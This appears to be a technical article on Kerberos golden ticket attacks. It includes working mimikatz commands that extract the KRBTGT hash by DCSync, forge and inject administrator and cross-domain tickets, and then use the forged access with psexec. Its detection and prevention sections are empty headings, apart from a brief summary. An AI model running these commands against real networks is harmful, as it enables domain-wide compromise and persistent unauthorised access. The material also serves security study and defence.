Golden Ticket Attacks: Kerberos Ticket Forging Explained
Deep technical analysis of golden ticket attacks against Kerberos authentication, including how forged TGTs work, creation techniques, detection methods, and prevention strategies.
Forging the Master Key to the Domain
A golden ticket attack forges a Kerberos Ticket Granting Ticket (TGT) — the master authentication token in Active Directory. Because the TGT is encrypted with the KRBTGT account's password hash, anyone who possesses this hash can forge identity for any user, including non-existent accounts at any privilege level. Golden tickets represent the ultimate compromise of Kerberos trust architecture, with validity up to 10 years.
Prerequisites
The KRBTGT Account
KRBTGT is a special disabled user account whose password hash encrypts all TGTs in the domain. It has a random 240-character password set at domain creation and rarely changes. The KRBTGT hash is the single most sensitive credential in the entire domain — with it, an attacker can forge TGTs for any user, create tickets for non-existent users, set lifetimes up to 10 years, and maintain access even after other compromised credentials change.
Creating Golden Tickets
# Extract KRBTGT hash via DCSync
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"
# Create and inject golden ticket
mimikatz.exe "kerberos::golden /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /id:500 /user:Administrator /groups:512,513,518,519,520 /ptt" "exit"
Parameters: /domain (FQDN), /sid (domain SID), /krbtgt (KRBTGT hash), /user (impersonated user), /id (user RID, 500 = Administrator), /groups (SIDs for Domain Admins, Enterprise Admins).
Using Golden Tickets
# After PTT injection, access domain resources
dir \\dc01\c$
psexec \\dc01 cmd.exe
powershell.exe -c "Get-ADUser -Filter *"
Cross-Domain Golden Tickets
Extra-SID injection includes Enterprise Admins SIDs for cross-forest access:
mimikatz.exe "kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD /sids:S-1-5-21-ROOT-519 /krbtgt:KRBTGT_HASH /user:Administrator /ptt" "exit"
Detection
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
Golden tickets forge TGTs using the KRBTGT hash, granting unrestricted domain access for extended periods. Detection is challenging since forged tickets are indistinguishable from legitimate ones. Defenses center on protecting the KRBTGT hash, regular rotation, and monitoring for precursor steps (DCSync, credential dumping).